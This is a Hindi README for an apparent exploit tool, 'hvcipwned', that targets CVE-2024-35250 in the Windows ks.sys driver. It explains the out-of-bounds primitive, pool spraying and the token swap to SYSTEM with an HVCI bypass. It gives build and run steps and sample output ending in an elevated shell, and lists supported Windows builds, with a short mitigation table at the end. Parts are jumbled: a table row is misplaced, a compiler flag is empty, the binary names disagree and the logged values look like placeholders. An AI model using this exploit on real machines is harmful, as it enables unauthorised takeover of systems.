
CVE-2024-35250 यह प्रदर्शित करता है कि HVCI केवल डेटा-आधारित कर्नेल एक्सप्लॉइट्स के खिलाफ कोई बचाव नहीं है। जब तक कोई ड्राइवर बग एक आर्बिट्रेरी R/W प्रिमिटिव प्रदान करता है, तब तक टोकन स्वैप एक सार्वभौमिक SYSTEM उत्थान तकनीक बना रहता है — कोई कोड निष्पादन आवश्यक नहीं है।
विंडोज कर्नेल स्ट्रीमिंग ड्राइवर (ks.sys) में अविश्वसनीय पॉइंटर डीरेफरेंस के माध्यम से स्थानीय विशेषाधिकार वृद्धि।
डेटा-ओनली एक्सप्लॉइट — हाइपरविजर-संरक्षित कोड अखंडता (HVCI) को बायपास करता है।
| फ़ील्ड | विवरण |
|---|---|
| CVE | CVE-2024-35250 |
| घटक | ks.sys (कर्नेल स्ट्रीमिंग) |
| बग वर्ग | अविश्वसनीय पॉइंटर डीरेफरेंस |
| प्रभाव | NT AUTHORITY\SYSTEM तक EoP |
| HVCI | बायपास किया गया — कर्नेल में कोई कोड निष्पादन नहीं |
| पैच | KB5039212 (जून 2024) |
| लक्ष्य | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler टोपोलॉजी-स्तरीय संपत्ति अनुरोधों को KspProcessPropertyNode के माध्यम से भेजता है। उपयोगकर्ता-आपूर्ति किए गए KSP_NODE संरचना से NodeId फ़ील्ड का उपयोग आंतरिक ऑटोमेशन तालिका सरणी में सीमा सत्यापन के बिना अनुक्रमणिका के रूप में किया जाता है:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- हमलावर-नियंत्रित
एक क्राफ्टेड NodeId जो वास्तविक नोड गणना से अधिक है, डीरेफरेंस को आसन्न पूल मेमोरी पर रीडायरेक्ट करता है, जिससे आउट-ऑफ-बाउंड रीड/राइट प्रिमिटिव मिलता है।
एक्सप्लॉइट विशेष रूप से कर्नेल डेटा संरचनाओं में हेरफेर करता है:
NtQuerySystemInformation के माध्यम से EPROCESS पता लीक करेंActiveProcessLinks पर चलेंकोई शेलकोड इंजेक्ट नहीं किया गया है। कोई अहस्ताक्षरित कोड पेज बनाए या निष्पादित नहीं किए गए हैं। कोई नियंत्रण-प्रवाह पॉइंटर हाईजैक नहीं किया गया है।
| सुरक्षा | स्थिति |
|---|---|
| HVCI / KMCI | बायपास किया गया |
| SMEP | ट्रिगर नहीं हुआ |
| SMAP | ट्रिगर नहीं हुआ |
| kCFG | ट्रिगर नहीं हुआ |
hvcipwned.sln खोलेंCtrl+Shift+B)आउटपुट बाइनरी: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
भेद्य (अपैच्ड) सिस्टम पर एक अनप्रिविलेज्ड उपयोगकर्ता सत्र से चलाएँ। सफल होने पर एक नई cmd.exe विंडो NT AUTHORITY\SYSTEM के रूप में चलती हुई खुलेगी।
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - प्रकार, लॉग मैक्रोज, nt एपीआई टाइपडेफ्स
├── offsets.h - प्रति-बिल्ड eprocess फ़ील्ड ऑफसेट
├── device.h - ks डिवाइस एनुमरेशन
├── leak.h - कर्नेल पता लीक
├── krw.h - r/w प्रिमिटिव संदर्भ
├── token.h - टोकन स्वैप + शेल स्पॉन
└── exploit.h - शीर्ष-स्तरीय प्रवेश
├── main.c - प्रवेश बिंदु
├── device.c - setupapi डिवाइस खोलें
├── leak.c - NtQuerySystemInformation लीक
├── krw.c - भेद्यता ट्रिगर + पूल स्प्रे + r/w
├── token.c - eprocess वॉक + टोकन ओवरराइट
└── exploit.c - ऑर्केस्ट्रेशन
RtlGetVersion के माध्यम से रनटाइम पर ऑफसेट स्वचालित रूप से हल किए जाते हैं।
यह प्रोजेक्ट केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। स्पष्ट लिखित अनुमति के बिना सिस्टम के विरुद्ध उपयोग न करें। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए कोई जिम्मेदारी नहीं लेता है।
| CET / शैडो स्टैक | ट्रिगर नहीं हुआ |
| OS | बिल्ड | स्थिति |
|---|
| Windows 10 20H1 | 19041 | समर्थित |
| Windows 10 20H2 | 19042 | समर्थित |
| Windows 10 21H1 | 19043 | समर्थित |
| Windows 10 21H2 | 19044 | समर्थित |
| Windows 10 22H2 | 19045 | समर्थित |
| Windows 11 21H2 | 22000 | समर्थित |
| Windows 11 22H2 | 22621 | समर्थित |
| Windows 11 23H2 | 22631 | समर्थित |
| कार्रवाई | विवरण |
|---|
| पैच | KB5039212 (जून 2024) या बाद का संस्करण स्थापित करें |
| पहचान | KSPROPERTY_TYPE_TOPOLOGY फ़्लैग के साथ IOCTL_KS_PROPERTY की निगरानी करें |
| EDR | EtwTi कर्नेल कॉलबैक के माध्यम से टोकन अखंडता परिवर्तनों पर अलर्ट करें |
| सख्ती | DACL के माध्यम से KS डिवाइस इंटरफेस तक उपयोगकर्ता की पहुँच प्रतिबंधित करें |